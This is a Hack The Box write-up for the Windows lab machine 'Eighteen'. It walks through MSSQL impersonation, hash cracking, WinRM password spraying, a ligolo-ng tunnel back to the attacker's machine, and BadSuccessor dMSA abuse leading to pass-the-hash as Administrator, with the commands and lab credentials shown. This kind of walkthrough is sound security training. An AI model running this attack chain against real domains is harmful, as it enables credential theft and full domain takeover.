HTB Writeup - Eighteen

An easy rated Windows machine involving the BadSuccessor exploit

January 14, 2026

Intro

Eighteen is an easy rated windows machine. The only provided information is the following credentials: kevin / iNa2we6haRj2gaw!

Recon

As always, I start with with an aggressive nmap scan (using rustscan to speed it up a little).

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: Welcome - eighteen.htb
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s syn-ack Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
|   10.10.11.95:1433:
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
| ms-sql-info:
|   10.10.11.95:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2026-01-09T09:37:36+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-09T09:02:53
| Not valid after:  2056-01-09T09:02:53
| MD5:     c34b b1c1 a262 d0cf 384c 871e bcb3 5298
| SHA-1:   7f26 e3ba d566 e1b3 9b89 2208 90c5 6fea 04f8 165e
| SHA-256: 1ba7 2484 79a1 6ad1 f7f8 781c 5888 ea58 ef86 899f 80a6 3d39 7e38 45c1 a727 7422
| -----BEGIN CERTIFICATE-----
| MIIEADCCAmigAwIBAgIQPNaty/1tQoFBOeHgZiIpJTANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwMTA5MDkwMjUzWhgPMjA1NjAxMDkwOTAyNTNaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAMQuAw1+
| dXUAhCvFAuuwsZdqnfY4bgyTytApVyZo6YWzkPxiU7l3+cA7czkaylYlcdfndLh7
| GhiwklmRxBUvgJ5EV1527alHSoqJsxJ6YgkTRvHXe4o5439z1PKsrDWU7bugfcmn
| OP/P8nvU3RLuKhFK+A+DM45WbqjCj5Uxa9e0IVUIoKDRmwfb9DfDqFuQxnXAwRoz
| QEsNUv3U5FXarr1rQTUnT9nxaxkDVM2ozZLUV30zIIUWKxwthyqAmPdL2NmkpHay
| 0v9ZWxC0ivVQ/13SmQyMtLUK3Uol27iuM4xLmm8ethMM8jTTr90tEpSuYicRVTQV
| ZjmruBHA/X8fAnP6F13DBvLnuojWQDbFGsy1PK1MRcT2iKxamhGmKAC1t3KVFW70
| IQDHuofd/nVI3Fa+8hdeWyP2uHvmggXWkRswBU86QvYZ4Gr9Ism/Kwvgz+bIZXBT
| fJMuZTVru3qP9Ud7R2NGrm/PVgtjnFOi456sodbrVokdLTG5vnCJ07GLjQIDAQAB
| MA0GCSqGSIb3DQEBCwUAA4IBgQBfZpMVfVh8CpVPigCorlc2yqkwYsM8+RQpzLeM
| JMx/ZJ3fq0NWoqLH6DrOIotnMlo72dxn+8ilqzr+zn4S2mYcyYTyz1SFrjV/+gBX
| ge7Ks6hfQVLaVhV0kfCKGpuUb04Y03cG72pPKpJkumqVHw4kcSc+LWMmPBqqTv/x
| zOXGwNO4Oqr/3rcULyRb4HlMx4GriB8utrznXkS/KhXVxQKt+IQHd1GlWbM6oPsM
| U9b+AipdkcdSQeA4GBRi14MH5gAUfbQxWyzjN6+PhWOs9p432jUQNrLa3Rdcj4AL
| uGs46Uv7n/KxtZWXmVT8ZfFxddoB1hDz2uq8HZtBqYer5tb0XliEdbcylHV+NxOU
| X6T8Rm0UnSgeJrMuYgkUyeUkJ/Nt+9crOnWsg8qh3elfTr0a2WT5qDUIDyMMqHnh
| 7bzFfMI3x9SkfIQCy2SCVKxFKojlFDNrZbFMivWOHcvU7jHtfC4l+TM+s/5fmD8I
| 0KsdtqGs3yUuGqw4X8zhlzXxPr0=
|_-----END CERTIFICATE-----
5985/tcp open  http     syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

I also ran a UDP scan, which found a filtered port 53.

53/tcp filtered domain  no-response

This DNS server provided some info for the domain eighteen.htb

nu ➜ doggo eighteen.htb @10.10.11.95
NAME TYPE CLASS TTL ADDRESS NAMESERVER
eighteen.htb. A IN 600s 10.10.11.95 10.10.11.95:53
eighteen.htb. SOA IN 3600s dc01.eighteen.htb. hostmaster.eighteen.htb. 169 900 600 86400 3600 10.10.11.95:53

SRV records show that the following services are associated with dc01:

Kerberos (TCP/UDP 88)
LDAP (TCP 389)
Global Catalog (TCP 3268)
kpasswd (TCP 464)

The web server was running a financial planning website. I quickly found that the website returns an SQL error when you try to register with an existing username or password, which I used to discover that there is an existing account named admin.

Accessing MSSQL

After indentifying all the services I could find, I used the impacket script mssqliclient.py to connect to the SQL service with the provided login. This script provides some useful enumeration commands after connecting,

enum_impersonate revealed that I had the permission to impersonate the user appdev, which I assumed would relate back to the financial planning website hosted on the server. appdev could access the database financial_planner, which contained a users table with the following credentials: admin / admin@eighteen.htb / pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 This application makes the mistake of using salt, but storing it within the hash in the DB.

I first tried to crack the hash as is with hashcat, but realized that while it was a PBKDF2-HMAC-SHA256 hash, supported by hashcat, it was not in the same format hashcat or john expected.. This hash was in the format pbkdf2:sha256:{iterations}${salt}${hash in hex} and hashcat expected pbkdf2:sha256:{iterations}:{base64 salt}:{base64 hash}. After using Cyberchef to correct it, I was able to run hashcat with rockyou.txt and get the password.

User enumeration and password spraying

After finding this password, I logged into the site, but didn’t see any exploitation paths. I decided to try a password spraying attack with the cracked password, in case it was being reused.

I used the following command to get a list of users netexec mssql 10.10.11.95 -u kevin -p iNa2we6haRj2gaw! --local-auth --rid-brute. Then I performed a password spraying attack on the winrm service:

nu ➜ netexec winrm 10.10.11.95 -u users.txt -p pass.txt
WINRM 10.10.11.95 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
WINRM 10.10.11.95 5985 DC01 [-] eighteen.htb\jamie.dunn:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] eighteen.htb\jane.smith:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] eighteen.htb\alice.jones:iloveyou1
WINRM 10.10.11.95 5985 DC01 [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

After finding this login, getting a user shell is as simple as running: evil-winrm -i eighteen.htb -u adam.scott -p iloveyou1. The user flag was in adam.scott’s desktop folder.

Priviledge Escalation with BadSuccessor

As always, I started by uploading and running Winpeas to look for anything that could be a could priviledge escalation path. Unfortunately, I didn’t find much. One thing I took note of is that it failed to get the windows version information to search for known vulnerabilities. This was due to the user being unable to run Get-CimInstance or systeminfo. Instead, I got the version info myself with [Environment]::OSVersion

Platform ServicePack Version      VersionString
-------- ----------- -------      -------------
 Win32NT             10.0.26100.0 Microsoft Windows NT 10.0.26100.0

With this info, I manually researched vulnerabilities, eventually finding BadSuccessor. Unfortunately for me, I am not very experienced with Windows pentests (I find Linux much more interesting) and exploiting this looked a bit complex.

The first thing I did was run Akamai’s BadSuccessor recon script, which should tell me what identities have permissions to create dMSAs in their domain, the requirement for performing the exploit. This gave me the following output:

Identity    OUs
--------    ---
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}

This shows me that as part of the IT group, I could create a dMSA as a child unit of Staff. I then used the this BadSuccessor.ps1 script to exploit it.

*Evil-WinRM* PS C:\Users\adam.scott\Favorites> 
Creating dMSA at: LDAP://eighteen.htb/OU=Staff,DC=eighteen,DC=htb
0
0
0
0
Successfully created and configured dMSA 'baddmsa'
Object adam.scott can now impersonate Administrator

This seemed good. Next, I needed to use Rubeus.exe to get the hashes that would allow me to perform a pass-the-hash attack on Administrator. Rubeus doesn’t provide binaries, and building a C# app using an EOL sdk on NixOS looked like hell, but Kali ships a binary, so I spun up a container to grab the exe. Unfortunately, Rubeus was giving me an error:

.\Rubeus.exe tgtdeleg /nowrap  
[X] Error: AcquireCredentialsHandle error: -2146893042

From what I found, you aren’t able to do this from a WinRM session, as they’re more restricted. I wasn’t sure how to resolve this, so I decided to try instead using impacket’s getST.py. Since the Kerberos authentication port was closed, I first needed to create a tunnel with ligolo-ng.

# attacker
nu ➜ sudo ip tuntap add user (whoami) mode tun ligolo
nu ➜ ligolo-proxy -selfcert

# server
*Evil-WinRM* PS C:\Users\adam.scott\Favorites> ./agent.exe -connect 10.10.14.21:11601 -ignore-cert

# attacker
ligolo-ng » session
? Specify a session : 1 - EIGHTEEN\adam.scott@DC01 - 10.10.11.95:57646 - 005056b0d01a
[Agent : EIGHTEEN\adam.scott@DC01] » start
INFO[0312] Starting tunnel to EIGHTEEN\adam.scott@DC01 (005056b0d01a)

nu ➜ getST.py eighteen.htb/adam.scott:iloveyou1 -impersonate "baddmsa$" -dc-ip 240.0.0.1 -self
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

We’re getting close, but first another error to deal with. Kerberos will deny requests if the timestamp is out of sync by more than 5 minutes. To fix this, I wrote a nice little oneliner to get the date and time from an http header and set it as my current system time sudo timedatectl set-time (curl -sI http://eighteen.htb | rg Date | choose 1.. | format date "%Y-%m-%d %H:%M:%S"). Then I got the same error again and realized I forgot about timezones, so I changed it to also convert the timezone: sudo timedatectl set-time (curl -sI http://eighteen.htb | rg Date | choose 1.. | date to-timezone EST | format date "%Y-%m-%d %H:%M:%S"). After this, I tried getST.py again:

nu ➜ getST.py eighteen.htb/adam.scott:iloveyou1 -impersonate "baddmsa$" -dc-ip 240.0.0.1 -self -dmsa
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating baddmsa$
[*] Requesting S4U2self
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:af21301c1cb1fcf931a2e47aa1f26e8a373b8c847bb348cdec326f6d80626ba7
[*] EncryptionTypes.aes128_cts_hmac_sha1_96:48108057755a02cd8448f8aca7b0f076
[*] EncryptionTypes.rc4_hmac:7945f93648d2c4a959a9ad8853c80312
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec
[*] Saving ticket in baddmsa$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

I was able to use the last hash output along with evil-winrm -H to log in as Administrator and get the root flag.

Conclusion

It’s probably just due to my lack of experience with windows systems, but this machine was more difficult than I expected from one rated easy. Getting the user flag was simple, but the priviledge escalation process took me a pretty long time to figure out. Although, if you already had some familiarity with the exploit, I imagine it’d be a lot simpler.